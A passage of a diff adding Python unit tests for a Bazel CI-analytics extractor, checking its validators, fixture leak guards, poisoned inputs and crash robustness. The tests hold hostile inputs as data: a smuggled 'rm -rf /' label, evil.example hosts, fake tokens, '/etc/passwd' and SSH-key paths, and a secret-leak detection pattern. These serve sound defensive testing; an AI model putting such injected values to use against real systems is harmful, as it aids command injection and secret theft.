+ _spawn( + "//:synth_remote", + "CppCompile", + "remote", + False, + _spawn_metrics(total_ms=900, queue_ms=250, exec_ms=500), + ) + ) + out += _entry_with_spawn( + _spawn( + "//:synth_cached", + "CppCompile", + "remote cache hit", + True, + _spawn_metrics(total_ms=20), + ) + ) + return out + + +def synthetic_bep(uuid: str) -> str: + events = [ + { + "id": {"started": {}}, + "started": { + "uuid": uuid, + "startTimeMillis": "1700000000000", + "buildToolVersion": "9.2.0", + "command": "build", + }, + }, + { + "id": {"buildMetrics": {}}, + "buildMetrics": { + "timingMetrics": { + "cpuTimeInMs": "900", + "wallTimeInMs": "950", + "criticalPathTime": "0.900s", + }, + "actionSummary": { + "actionsCreated": "2", + "actionsExecuted": "2", + "runnerCount": [ + {"name": "remote", "count": "1", "execKind": "Remote"}, + {"name": "remote cache hit", "count": "1", "execKind": "Remote"}, + ], + "actionData": [ + { + "mnemonic": "CppCompile", + "actionsExecuted": "2", + "actionsCreated": "2", + "userTime": "0.400s", + "systemTime": "0.100s", + } + ], + }, + }, + }, + { + "id": {"finished": {}}, + "finished": {"exitCode": {"code": 0, "name": "SUCCESS"}, "finishTimeMillis": "1700000001000"}, + }, + ] + return "\n".join(json.dumps(e) for e in events) + "\n" + + +class ExtractorHelperTests(unittest.TestCase): + def test_varint_roundtrip(self): + for n in (0, 1, 127, 128, 300, 2**32, 2**40 + 7): + encoded = _varint(n) + got, p = extract.varint(encoded, 0) + self.assertEqual(got, n) + self.assertEqual(p, len(encoded)) + + def test_varint_rejects_truncated_input(self): + with self.assertRaises(ValueError): + extract.varint(b"\x80", 0) # continuation bit set, nothing follows + + def test_varint_rejects_overlong_input(self): + # No terminator within 64 bits: must raise promptly, not loop while + # accumulating an ever-larger Python int (the quadratic-blowup DoS + # a reviewer's adversarial script reproduced against the + # unbounded version of this function). + start = time.monotonic() + with self.assertRaises(ValueError): + extract.varint(b"\xff" * 160000 + b"\x01", 0) + self.assertLess(time.monotonic() - start, 1.0) + + def test_valid_label(self): + self.assertEqual(extract.valid_label("//foo/bar:baz"), "//foo/bar:baz") + self.assertEqual(extract.valid_label("@@rules_cc+//cc:defs"), "@@rules_cc+//cc:defs") + self.assertIsNone(extract.valid_label("//foo; rm -rf /")) + self.assertIsNone(extract.valid_label("http://evil.example/x")) + + def test_valid_label_rejects_trailing_newline(self): + # fullmatch(), not match() with a trailing "$": "$" matches just + # before a trailing newline under match(), letting a smuggled "\n" + # through every validator. + self.assertIsNone(extract.valid_label("//pkg:name\n")) + self.assertIsNone(extract.valid_mnemonic("GoCompile\n")) + self.assertIsNone(extract.valid_enum("PASSED\n")) + self.assertIsNone(extract.valid_repo("@@foo+\n")) + + def test_valid_label_caps_length(self): + # The colon-separated target-name component is itself capped at 200 + # chars by LABEL_RE; spread the length over a long package path + # instead, to isolate MAX_LABEL_LEN (512) as the thing under test. + short_name = "b" * 190 + under_cap = "//" + ("a" * 300) + ":" + short_name # len 493 < 512 + over_cap = "//" + ("a" * 330) + ":" + short_name # len 523 > 512 + self.assertEqual(extract.valid_label(under_cap), under_cap) + self.assertIsNone(extract.valid_label(over_cap)) + + def test_valid_label_drops_tripwire_strings_individually(self): + self.assertIsNone(extract.valid_label("//pkg:x/tmp/y")) + self.assertIsNone(extract.valid_label("//pkg:x/etc/y")) + self.assertIsNone(extract.valid_label("//pkg:x/runner/y")) + + def test_valid_mnemonic_rejects_injected_text(self): + self.assertEqual(extract.valid_mnemonic("CppCompile"), "CppCompile") + self.assertIsNone(extract.valid_mnemonic("CppCompile; /home/runner/secret")) + + def test_valid_command_and_version(self): + self.assertEqual(extract.valid_command("test"), "test") + self.assertIsNone(extract.valid_command("test\nexport X=1")) + self.assertEqual(extract.valid_version("9.2.0"), "9.2.0") + self.assertIsNone(extract.valid_version("9.2.0; token=ghp_abc at http://evil")) + + def test_valid_uuid(self): + self.assertEqual( + extract.valid_uuid("11111111-2222-3333-4444-555555555555"), + "11111111-2222-3333-4444-555555555555", + ) + self.assertIsNone(extract.valid_uuid("ghp_SECRETSECRETSECRET0123456789abcd")) + self.assertIsNone(extract.valid_uuid("11111111-2222-3333-4444-555555555555\n")) + + def test_valid_lane(self): + self.assertEqual(extract.valid_lane("unit"), "unit") + self.assertEqual(extract.valid_lane("integration-packages"), "integration-packages") + self.assertIsNone(extract.valid_lane("unit Bearer abc.def")) + self.assertIsNone(extract.valid_lane("")) + + def test_as_int_handles_overflowing_float(self): + # A crafted numeric literal (e.g. 1e400) parses as float('inf'); + # int(inf) raises OverflowError, uncaught, before this fix. + self.assertEqual(extract.as_int(float("inf")), 0) + self.assertEqual(extract.as_int(float("-inf")), 0) + self.assertEqual(extract.as_int(float("nan")), 0) + + def test_runner_class(self): + self.assertEqual(extract.runner_class("remote cache hit"), "remote_cache_hit") + self.assertEqual(extract.runner_class("disk cache hit"), "disk_cache_hit") + self.assertEqual(extract.runner_class("remote"), "remote") + self.assertEqual(extract.runner_class("linux-sandbox"), "local") + self.assertEqual(extract.runner_class("worker"), "local") + self.assertEqual(extract.runner_class("something-unexpected"), "other") + + def test_clamp_pct_rejects_non_finite_and_out_of_range(self): + self.assertEqual(extract._clamp_pct(50.0), 50.0) + self.assertEqual(extract._clamp_pct(0.0), 0.0) + self.assertEqual(extract._clamp_pct(100.0), 100.0) + self.assertEqual(extract._clamp_pct(-5.0), 0.0) + self.assertEqual(extract._clamp_pct(150.0), 100.0) + self.assertEqual(extract._clamp_pct(float("inf")), 0.0) + self.assertEqual(extract._clamp_pct(float("-inf")), 0.0) + self.assertEqual(extract._clamp_pct(float("nan")), 0.0) + + +class RealFixtureTests(unittest.TestCase): + """testdata/ci_analytics/real/*: genuine Bazel 9.2.0 output.""" + + @staticmethod + def _fixture_critical_path_time(): + with open(os.path.join(REAL, "cold-bep.json"), encoding="utf-8") as f: + for line in f: + event = json.loads(line) + bm = event.get("buildMetrics") + if isinstance(bm, dict): + tm = bm.get("timingMetrics") + if isinstance(tm, dict) and "criticalPathTime" in tm: + return tm["criticalPathTime"] + return None + + def test_cold_invocation_has_a_failed_test_and_local_spawns(self): + rec = extract.build_invocation( + "test", + os.path.join(REAL, "cold-bep.json"), + os.path.join(REAL, "cold-exec.binpb"), + os.path.join(REAL, "cold-profile.json"), + _deadline(), + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["command"], "test") + self.assertEqual(rec["bazel_version"], "9.2.0") + self.assertEqual(rec["exec_log"], "ok") + self.assertEqual(rec["profile"], "ok") + self.assertGreater(rec["timing"]["wall_ms"], 0) + # criticalPathTime is a Duration string (e.g. "0.212852922s" in the + # currently-regenerated fixture), not criticalPathTimeInMs: as_int() + # on that string alone always silently produced 0 before this fix. + # Read the fixture's own value instead of hardcoding one, since + # regen.sh is nondeterministic run-to-run. + self.assertGreater(rec["timing"]["critical_path_ms"], 0) + self.assertEqual( + rec["timing"]["critical_path_ms"], + extract.as_duration_ms(self._fixture_critical_path_time()), + ) + + by_mnemonic = {m["mnemonic"]: m for m in rec["mnemonics"]} + self.assertIn("TestRunner", by_mnemonic) + self.assertIn("CppCompile", by_mnemonic) + # No RBE in this sandbox: every spawn in the cold run is local. + self.assertEqual(by_mnemonic["TestRunner"]["remote"], 0) + self.assertEqual(by_mnemonic["TestRunner"]["local"], by_mnemonic["TestRunner"]["spawns"]) + + labels = {t["label"]: t for t in rec["tests"]} + self.assertEqual(labels["//:flaky_test"]["overall"], "FAILED") + self.assertEqual(labels["//:pass_test"]["overall"], "PASSED") + self.assertEqual(labels["//:sharded_test"]["shards"], 3) + + # Per-test timing lives at testResult.executionInfo.timingBreakdown, + # not a top-level testResult.timingBreakdown (which doesn't exist): + # confirmed non-zero exec_ms for at least one real test result. + all_results = [r for t in rec["tests"] for r in t["results"]] + self.assertTrue(any(r["exec_ms"] > 0 for r in all_results)) + + # The *_pct fields are always present. They're each 0.0 on this + # fixture (a sandbox with no RBE endpoint: every percentage in the + # real "Critical Path: ...% of the time: [...]" breakdown is + # genuinely 0.00%, not just unparsed) -- the real assertion here is + # that build_timing() parsed the breakdown text at all (a test_* + # key below), not that any one percentage is non-zero. + for key in ( + "remote_pct", + "queue_pct", + "fetch_pct", + "process_pct", + "upload_pct", + "setup_pct", + "network_pct", + ): + self.assertIn(key, rec["critical_path"]) + self.assertNotEqual(rec["critical_path"]["test_label"], "") + + def test_postclean_invocation_is_mostly_disk_cache_hits(self): + rec = extract.build_invocation( + "test", + os.path.join(REAL, "postclean-bep.json"), + os.path.join(REAL, "postclean-exec.binpb"), + None, + _deadline(), + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "ok") + self.assertEqual(rec["profile"], "missing") + + by_mnemonic = {m["mnemonic"]: m for m in rec["mnemonics"]} + self.assertGreater(by_mnemonic["CppCompile"]["disk_cache_hit"], 0) + self.assertEqual(by_mnemonic["CppCompile"]["local"], 0) + # flaky_test's TestRunner spawn is never a disk-cache hit: Bazel + # does not cache a failed test, so it reruns (a cold row). + self.assertGreater(by_mnemonic["TestRunner"]["local"], 0) + cold_targets = {c["target"] for c in rec["cold"]} + self.assertIn("//:flaky_test", cold_targets) + + def test_repo_fetch_is_read_from_the_profile(self): + rec = extract.build_invocation( + "test", + os.path.join(REAL, "cold-bep.json"), + None, + os.path.join(REAL, "cold-profile.json"), + _deadline(), + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "missing") + self.assertEqual(rec["profile"], "ok") + # @@bazel_tools is always fetched (it's bootstrapped, not from a + # registry cache that might already be warm), so repo_fetch must + # be non-empty here: this is the must-fix regression test for + # trim_profile's single-line-document bug, where iter_repo_fetch() + # silently saw zero "Fetching repository" events no matter what was + # actually in the profile, and this assertion would have passed + # vacuously against an empty list. + self.assertTrue(rec["repo_fetch"]) + for row in rec["repo_fetch"]: + self.assertIn("repo", row) + self.assertIn("ms", row) + self.assertIsNotNone(extract.valid_repo(row["repo"])) + + def test_unreadable_profile_path_is_reported_accurately(self): + rec = extract.build_invocation( + "test", + os.path.join(REAL, "cold-bep.json"), + None, + os.path.join(REAL, "does-not-exist-profile.json"), + _deadline(), + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["profile"], "unreadable") + + # Event kinds the extractor itself ever reads out of a BEP event body + # (plus "id", which is on every event). Anything else showing up in a + # fixture is, by definition, something the extractor doesn't need -- + # and therefore something regen.sh's filter_bep() should have dropped. + _EVENT_KIND_ALLOW = { + "id", "started", "testResult", "testSummary", "buildMetrics", "finished", "buildToolLogs", + } + _STARTED_KEY_ALLOW = {"uuid", "command", "buildToolVersion", "startTimeMillis"} + # Keys that, wherever they appear in the structure, are specifically the + # ones known to carry operator/host/filesystem detail in real BEP output + # (test case URIs, output file URIs, exec hostnames, raw status/failure + # detail protos with command lines and paths baked in). + _FORBIDDEN_KEYS_ANY_DEPTH = {"uri", "testActionOutput", "hostname", "statusDetails", "failureDetail"} + + # client_env= (not CLIENT_ENVIRONMENT_VARIABLE, a legitimate Bazel + # skyfunction name that otherwise false-positives on "client_env"). + # Generic enough to catch leaks this fixture's own operator wouldn't + # produce (a different machine, a different token format, ...), not + # just the ones this particular sandbox happens to be able to leak. + _LEAK_PATTERN = extract.re.compile( + r"client_env=|\"host\"|\"user\"|BUILD_HOST|/Users/|/home/|ghp_|sk-|token|cherry|ubuntu", + extract.re.IGNORECASE, + ) + + def _walk_json_leak_check(self, obj, path, event_kinds_seen): + """Recursively asserts structural + string-content leak guards over + a decoded BEP event's JSON. event_kinds_seen collects top-level + event-kind keys seen (id/started/testResult/...) for the caller to + check against _EVENT_KIND_ALLOW.""" + if isinstance(obj, dict): + for key, value in obj.items(): + self.assertNotIn( + key, self._FORBIDDEN_KEYS_ANY_DEPTH, f"{path}.{key} should have been stripped by filter_bep()" + ) + self._walk_json_leak_check(value, f"{path}.{key}", event_kinds_seen) + elif isinstance(obj, list): + for i, value in enumerate(obj): + self._walk_json_leak_check(value, f"{path}[{i}]", event_kinds_seen) + elif isinstance(obj, str): + self.assertIsNone(extract.TRIPWIRE_RE.search(obj), f"{path} matches the document tripwire: {obj!r}") + self.assertIsNone(self._LEAK_PATTERN.search(obj), f"{path} matches the operator-leak pattern: {obj!r}") + + def test_fixtures_do_not_leak_the_operator_environment(self): + """The must-fix: a real fixture reviewer-readable on disk, not just + what the extractor happens to read, must carry nothing from the + operator's own environment, host, or session. + + Structural, not a raw-text denylist: a denylist tuned to one + operator misses things like --client_env=GH_TOKEN=ghp_..., a + different home directory, or an sk-... key. Here we walk the + *decoded* JSON of every BEP event, assert the event-kind and + started-key sets are each a subset of what the extractor actually + reads, assert none of the known leak-prone keys (uri, + testActionOutput, hostname, statusDetails, failureDetail) appear + at any nesting depth, and only then fall back to running the + denylist/tripwire over every decoded string value.""" + for name in ("cold-bep.json", "postclean-bep.json"): + path = os.path.join(REAL, name) + with open(path, encoding="utf-8") as f: + for lineno, line in enumerate(f, start=1): + line = line.strip() + if not line: + continue + event = json.loads(line) + self.assertIsInstance(event, dict, f"{name}:{lineno} is not an object") + kinds = set(event.keys()) + self.assertTrue( + kinds <= self._EVENT_KIND_ALLOW, + f"{name}:{lineno} has event kind(s) {kinds - self._EVENT_KIND_ALLOW} outside the allowlist", + ) + if "started" in event and isinstance(event["started"], dict): + started_keys = set(event["started"].keys()) + self.assertTrue( + started_keys <= self._STARTED_KEY_ALLOW, + f"{name}:{lineno} started has key(s) " + f"{started_keys - self._STARTED_KEY_ALLOW} outside the allowlist", + ) + self._walk_json_leak_check(event, f"{name}:{lineno}", kinds) + + # cold-profile.json is Bazel's own line-per-event trace format, not + # one-JSON-object-per-BEP-line; the leak checks on its string + # content still apply, but there's no BEP event-kind structure to + # validate. + with open(os.path.join(REAL, "cold-profile.json"), encoding="utf-8") as f: + text = f.read() + self.assertIsNone(extract.TRIPWIRE_RE.search(text), "cold-profile.json matches the document tripwire") + self.assertIsNone( + self._LEAK_PATTERN.search(text), "cold-profile.json matches the operator-leak pattern" + ) + + # The exec logs are zstd-compressed protobuf, not JSON -- decode as + # best-effort text (the same way `strings` would) and run the same + # leak pattern over whatever falls out, including non-UTF-8 noise. + for name in ("cold-exec.binpb", "postclean-exec.binpb"): + with open(os.path.join(REAL, name), "rb") as f: + data = f.read() + self.assertIsNone( + self._LEAK_PATTERN.search(data.decode("utf-8", "replace")), + f"{name} matches the operator-leak pattern", + ) + + +class SyntheticRemoteFixtureTests(unittest.TestCase): + """A synthetic exec log + BEP for the `remote` and `remote cache hit` + runner classes, which this sandbox cannot produce against a real RBE + endpoint (design doc section 3.5).""" + + def setUp(self): + self.tmpdir = tempfile.TemporaryDirectory() + self.addCleanup(self.tmpdir.cleanup) + self.uuid = "00000000-0000-0000-0000-000000000001" + self.bep_path = os.path.join(self.tmpdir.name, "bep.json") + self.exec_log_path = os.path.join(self.tmpdir.name, "exec.log") + with open(self.bep_path, "w", encoding="utf-8") as f: + f.write(synthetic_bep(self.uuid)) + with open(self.exec_log_path, "wb") as f: + f.write(synthetic_exec_log(self.uuid)) + + def test_remote_and_remote_cache_hit_spawns_are_classified(self): + rec = extract.build_invocation("build", self.bep_path, self.exec_log_path, None, _deadline()) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "ok") + self.assertEqual(rec["invocation_id"], self.uuid) + # "0.900s" decodes via as_duration_ms to 900ms exactly. + self.assertEqual(rec["timing"]["critical_path_ms"], 900) + + by_mnemonic = {m["mnemonic"]: m for m in rec["mnemonics"]} + cpp = by_mnemonic["CppCompile"] + self.assertEqual(cpp["remote"], 1) + self.assertEqual(cpp["remote_cache_hit"], 1) + self.assertEqual(cpp["remote_queue_ms"], 250) + self.assertEqual(cpp["remote_queue_max_ms"], 250) + self.assertEqual(cpp["remote_exec_ms"], 500) + + cold_targets = {c["target"]: c for c in rec["cold"]} + self.assertIn("//:synth_remote", cold_targets) + self.assertNotIn("//:synth_cached", cold_targets) # a hit, not cold + + +SECRET_MARKERS = ( + "ghp_SECRETTOKEN1234567890", + "evil.example.com", + "attacker.example", + "AWS_SECRET_ACCESS_KEY", + "grpcs://rbe-west-internal.ops.gascity.com", + "/etc/secrets/rbe-client.key", + "DEPLOY_TOKEN", + "s3cr3t-deploy-token-0001", + "/root/.ssh/id_rsa", + "10.0.0.5", + "ghp_abc123", + "BEGIN PRIVATE KEY", + "/home/runner/secret", + "leak.example.com", + "hunter2", +) + + +class PoisonedBEPTests(unittest.TestCase): + """testdata/ci_analytics/poisoned-bep.json: every field the extractor + reads carries a secret or a leaky value, including two hostile labels + (one tripwire-triggering, one with injected text in its status/ + runnerCount fields). The summary must contain none of them, whether + through whitelist validation or the tripwire -- and a hostile label + must only drop that one row, not the whole document.""" + + def test_poisoned_bep_leaks_nothing(self): + rec = extract.build_invocation( + "test", os.path.join(TESTDATA, "poisoned-bep.json"), None, None, _deadline() + ) + self.assertIsNotNone(rec) + text = json.dumps(rec, sort_keys=True) + for marker in SECRET_MARKERS: + self.assertNotIn(marker, text, f"leaked {marker!r} into the summary") + self.assertIsNone(extract.TRIPWIRE_RE.search(text)) + # The poisoned fields were dropped, not merely escaped. + self.assertEqual(rec["command"], "unknown") + self.assertEqual(rec["bazel_version"], "unknown") + self.assertEqual(rec["exit_name"], "UNKNOWN") + # The hostile /etc/-labeled testSummary was dropped entirely, but + # the rest of the document (e.g. //:pass_test) is still present: + # one poisoned label does not kill the whole document. + labels = {t["label"] for t in rec["tests"]} + self.assertNotIn("//pkg:x/etc/evil_test", labels) + self.assertIn("//:pass_test", labels) + + def test_full_summary_build_rejects_nothing_silently_wrong(self): + # The end-to-end path (build_summary -> the tripwire over the + # serialized output) also sees no leak and still writes a summary + # (poisoning a field must not suppress the whole invocation). + summary = extract.build_summary( + "unit", + "local", + "123", + "0", + [("test", os.path.join(TESTDATA, "poisoned-bep.json"), None, None)], + _deadline(), + ) + self.assertIsNotNone(summary) + text = json.dumps(summary, sort_keys=True) + for marker in SECRET_MARKERS: + self.assertNotIn(marker, text, f"leaked {marker!r} into the summary") + + def test_poisoned_exec_log_leaks_nothing(self): + """Secrets in a spawn's args/env, next to a hostile mnemonic and a + hostile target, built with the test-side varint encoder: args/env + (fields 1/2) are never decoded at all, and the hostile + mnemonic/target are dropped by valid_mnemonic()/valid_label().""" + uuid = "00000000-0000-0000-0000-00000000bad1" + exec_log = _invocation_entry(uuid) + _entry_with_spawn( + _spawn( + "//pkg:x/etc/evil", # hostile target: tripwire substring + "Evil; /home/runner/secret", # hostile mnemonic: invalid charset + "local", + False, + _spawn_metrics(total_ms=10, exec_ms=10), + # A label-shaped secret: if a future regression ever + # decoded args (field 1) into the label/target used + # anywhere downstream (e.g. mistaking an argv[] entry for + # the target), this would surface as a leaked + # //:hunter2_secret row rather than silently passing. + args=("--token=hunter2", "//:hunter2_secret", "AKIAIOSFODNN7EXAMPLE"), + env=(("DEPLOY_TOKEN", "s3cr3t-deploy-token-0001"),), + ) + ) + with tempfile.TemporaryDirectory() as tmp: + bep_path = os.path.join(tmp, "bep.json") + exec_path = os.path.join(tmp, "exec.log") + with open(bep_path, "w", encoding="utf-8") as f: + f.write(synthetic_bep(uuid)) + with open(exec_path, "wb") as f: + f.write(exec_log) + rec = extract.build_invocation("test", bep_path, exec_path, None, _deadline()) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "ok") + self.assertEqual(rec["mnemonics"], []) # the hostile mnemonic was dropped + self.assertEqual(rec["cold"], []) # and so is the only spawn carrying it + text = json.dumps(rec, sort_keys=True) + for marker in ( + "hunter2", + "hunter2_secret", + "AKIAIOSFODNN7EXAMPLE", + "DEPLOY_TOKEN", + "s3cr3t-deploy-token-0001", + ): + self.assertNotIn(marker, text) + + def test_poisoned_profile_leaks_nothing(self): + # One event per line -- {"traceEvents":[\n{...},\n{...}\n]} -- the + # real shape Bazel's own --profile output is in, and the shape + # iter_repo_fetch() actually reads line by line: a single + # json.dump() here (one line for the whole document) would make + # every "Fetching repository" entry live on the one line that also + # contains the "traceEvents" key, whose top-level dict has no "cat" + # of its own, so it never reaches ev.get("cat") == "Fetching + # repository" at all. repo_fetch would always come back empty and + # this test would pass vacuously, without ever exercising + # valid_repo() against the hostile name. + hostile = { + "cat": "Fetching repository", + "name": "@@evil+; token=hunter2 /etc/passwd", + "ts": 0, + "dur": 1000, + } + valid = {"cat": "Fetching repository", "name": "@@rules_cc+", "ts": 2000, "dur": 500} + with tempfile.TemporaryDirectory() as tmp: + bep_path = os.path.join(tmp, "bep.json") + profile_path = os.path.join(tmp, "profile.json") + with open(bep_path, "w", encoding="utf-8") as f: + f.write(synthetic_bep("00000000-0000-0000-0000-00000000bad2")) + with open(profile_path, "w", encoding="utf-8") as f: + f.write('{"traceEvents":[\n') + f.write(",\n".join(json.dumps(e) for e in (hostile, valid))) + f.write("\n]}\n") + rec = extract.build_invocation("test", bep_path, None, profile_path, _deadline()) + self.assertIsNotNone(rec) + self.assertEqual(rec["profile"], "ok") + repos = {r["repo"] for r in rec["repo_fetch"]} + self.assertNotIn("@@evil+; token=hunter2 /etc/passwd", repos) # the hostile repo name was dropped + self.assertIn("@@rules_cc+", repos) # its valid sibling survives + text = json.dumps(rec, sort_keys=True) + self.assertNotIn("hunter2", text) + + def test_one_tripwire_label_drops_only_that_row(self): + lines = [ + json.dumps( + { + "started": { + "uuid": "11111111-2222-3333-4444-555555555555", + "command": "test", + "buildToolVersion": "9.2.0", + } + } + ), + json.dumps( + { + "id": {"testSummary": {"label": "//internal/runner/tmp:x/etc/y_test"}}, + "testSummary": {"overallStatus": "PASSED"}, + } + ), + json.dumps( + { + "id": {"testSummary": {"label": "//:fine_test"}}, + "testSummary": {"overallStatus": "PASSED"}, + } + ), + ] + with tempfile.TemporaryDirectory() as tmp: + bep_path = os.path.join(tmp, "t.bep.json") + out_path = os.path.join(tmp, "t.out.json") + with open(bep_path, "w", encoding="utf-8") as f: + f.write("\n".join(lines) + "\n") + rc = extract.main( + [ + "--lane", "unit", "--mode", "local", "--check-run-id", "1", "--pr-hint", "0", + "--invocation", "test", bep_path, "--out", out_path, + ] + ) + self.assertEqual(rc, 0) + with open(out_path, encoding="utf-8") as f: + summary = json.load(f) + labels = {t["label"] for t in summary["invocations"][0]["tests"]} + self.assertNotIn("//internal/runner/tmp:x/etc/y_test", labels) + self.assertIn("//:fine_test", labels) + + +class CLITests(unittest.TestCase): + def test_end_to_end_writes_a_schema_v1_file(self): + with tempfile.TemporaryDirectory() as tmp: + out = os.path.join(tmp, "nested", "summary.json") + rc = extract.main( + [ + "--lane", + "unit", + "--mode", + "local", + "--check-run-id", + "42", + "--pr-hint", + "7", + "--invocation", + "test", + os.path.join(REAL, "cold-bep.json"), + os.path.join(REAL, "cold-exec.binpb"), + os.path.join(REAL, "cold-profile.json"), + "--out", + out, + ] + ) + self.assertEqual(rc, 0) + with open(out, encoding="utf-8") as f: + summary = json.load(f) + self.assertEqual(summary["format"], "ci-analytics-summary") + self.assertEqual(summary["version"], 1) + self.assertEqual(summary["lane"], "unit") + self.assertEqual(summary["check_run_id"], 42) + self.assertEqual(len(summary["invocations"]), 1) + + def test_no_bep_anywhere_exits_3_and_writes_nothing(self): + with tempfile.TemporaryDirectory() as tmp: + missing = os.path.join(tmp, "nope.json") + out = os.path.join(tmp, "summary.json") + rc = extract.main( + [ + "--lane", + "unit", + "--mode", + "local", + "--check-run-id", + "1", + "--pr-hint", + "0", + "--invocation", + "test", + missing, + "--out", + out, + ] + ) + self.assertEqual(rc, 3) + self.assertFalse(os.path.exists(out)) + + def test_too_many_invocations_rejected(self): + with tempfile.TemporaryDirectory() as tmp: + out = os.path.join(tmp, "summary.json") + argv = ["--lane", "unit", "--mode", "local", "--check-run-id", "1", "--pr-hint", "0", "--out", out] + for i in range(extract.MAX_INVOCATIONS + 1): + argv += ["--invocation", f"step{i}", os.path.join(REAL, "cold-bep.json")] + with self.assertRaises(SystemExit): + extract.parse_args(argv) + + def test_hostile_lane_mode_step_and_uuid_are_rejected_or_dropped(self): + with tempfile.TemporaryDirectory() as tmp: + bep_path = os.path.join(tmp, "u.bep.json") + out = os.path.join(tmp, "u.out.json") + hostile_uuid = "ghp_SECRETSECRETSECRET0123456789abcd" + with open(bep_path, "w", encoding="utf-8") as f: + f.write( + json.dumps( + {"started": {"uuid": hostile_uuid, "command": "test", "buildToolVersion": "9.2.0"}} + ) + + "\n" + ) + # --lane, --mode and STEP with injected auth-header-shaped text: + # rejected at argument-parsing time, before any file is read. + with self.assertRaises(SystemExit): + extract.main( + [ + "--lane", "unit Bearer abc.def", + "--mode", "remote token=hunter2", + "--check-run-id", "1", "--pr-hint", "0", + "--invocation", "step with spaces AKIAIOSFODNN7EXAMPLE", bep_path, + "--out", out, + ] + ) + # A valid --lane/--mode/STEP, but a hostile started.uuid: the + # CLI still succeeds, but the hostile uuid never reaches the + # output (dropped to "", not validated-and-passed-through). + rc = extract.main( + [ + "--lane", "unit", "--mode", "remote", "--check-run-id", "1", "--pr-hint", "0", + "--invocation", "test", bep_path, "--out", out, + ] + ) + self.assertEqual(rc, 0) + with open(out, encoding="utf-8") as f: + text = f.read() + self.assertNotIn(hostile_uuid, text) + + def test_mode_enum_is_enforced(self): + with tempfile.TemporaryDirectory() as tmp: + out = os.path.join(tmp, "summary.json") + with self.assertRaises(SystemExit): + extract.parse_args( + [ + "--lane", "unit", "--mode", "not-a-real-mode", "--check-run-id", "1", + "--pr-hint", "0", "--invocation", "test", os.path.join(REAL, "cold-bep.json"), + "--out", out, + ] + ) + + +class ElapsedTimeFieldTests(unittest.TestCase): + """buildToolLogs' base64-encoded "elapsed time" / "critical path" logs + are read; make sure a benign one decodes correctly (the malicious case + is covered by PoisonedBEPTests).""" + + def test_elapsed_and_critical_path_decode(self): + text = ( + "Critical Path: 2.50s, Remote (10.0% of the time): [queue: 1.50%, process: 2.25%]\n" + " 2.50s action 'Testing //:pass_test (shard 0 of 1)'\n" + ) + events = [ + {"id": {"started": {}}, "started": {"uuid": "u", "command": "test", "buildToolVersion": "9.2.0"}}, + { + "id": {"buildToolLogs": {}}, + "buildToolLogs": { + "log": [ + {"name": "elapsed time", "contents": base64.b64encode(b"2.5").decode()}, + {"name": "critical path", "contents": base64.b64encode(text.encode()).decode()}, + ] + }, + }, + ] + started, finished, timing, critical_path, actions, graph, net = extract.build_timing(events) + self.assertEqual(timing["elapsed_ms"], 2500) + self.assertEqual(critical_path["remote_pct"], 10.0) + self.assertEqual(critical_path["queue_pct"], 1.50) + self.assertEqual(critical_path["process_pct"], 2.25) + self.assertEqual(critical_path["test_label"], "//:pass_test") + self.assertEqual(critical_path["test_shard"], 0) + self.assertEqual(critical_path["test_ms"], 2500) + + def test_critical_path_test_line_matches_unsharded_tests_too(self): + text = ( + "Critical Path: 1.00s, Remote (0.0% of the time): []\n" + " 1.00s action 'Testing //:unsharded_test'\n" + ) + events = [ + {"id": {"started": {}}, "started": {"uuid": "u", "command": "test", "buildToolVersion": "9.2.0"}}, + { + "id": {"buildToolLogs": {}}, + "buildToolLogs": { + "log": [{"name": "critical path", "contents": base64.b64encode(text.encode()).decode()}] + }, + }, + ] + _, _, _, critical_path, _, _, _ = extract.build_timing(events) + self.assertEqual(critical_path["test_label"], "//:unsharded_test") + self.assertEqual(critical_path["test_shard"], 0) + + def test_critical_path_pct_keys_always_present_even_with_no_match(self): + events = [ + {"id": {"started": {}}, "started": {"uuid": "u", "command": "test", "buildToolVersion": "9.2.0"}}, + ] + _, _, _, critical_path, _, _, _ = extract.build_timing(events) + for key in ( + "remote_pct", + "queue_pct", + "fetch_pct", + "process_pct", + "upload_pct", + "setup_pct", + "network_pct", + ): + self.assertEqual(critical_path[key], 0.0) + # Always present (the S4 contract), even with no critical-path text + # at all: "" / 0 defaults, not an absent key. + self.assertEqual(critical_path["test_label"], "") + self.assertEqual(critical_path["test_shard"], 0) + self.assertEqual(critical_path["test_ms"], 0) + + +class RobustnessTests(unittest.TestCase): + """Every crash a reviewer's adversarial script reproduced against this + extractor must degrade (a status string, or a smaller/partial result), + never raise out of build_invocation().""" + + def _bep(self, uuid="11111111-2222-3333-4444-555555555555", extra_started=None, lines_after=()): + st = {"uuid": uuid, "command": "test", "buildToolVersion": "9.2.0", "startTimeMillis": "1"} + if extra_started: + st.update(extra_started) + lines = [json.dumps({"id": {"started": {}}, "started": st})] + list(lines_after) + return "\n".join(lines) + "\n" + + def _run(self, bep_text, exec_bytes, deadline=None): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(bep_text) + ep = None + if exec_bytes is not None: + ep = os.path.join(tmp, "x.exec") + with open(ep, "wb") as f: + f.write(exec_bytes) + return extract.build_invocation("test", bp, ep, None, deadline if deadline is not None else _deadline()) + + def test_truncated_varint_tail_degrades_to_corrupt(self): + uuid = "11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + rec = self._run(self._bep(uuid), inv_entry + b"\x80") + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "corrupt") + + def test_wiretype_3_in_entry_degrades_to_corrupt(self): + uuid = "11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + rec = self._run(self._bep(uuid), inv_entry + _length_prefixed(b"\x3b")) # field 7, wire 3 + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "corrupt") + + def test_wiretype_6_in_entry_degrades_to_corrupt(self): + uuid = "11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + rec = self._run(self._bep(uuid), inv_entry + _length_prefixed(b"\x3e")) # field 7, wire 6 + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "corrupt") + + def test_spawn_target_as_varint_is_skipped_not_crashed(self): + uuid = 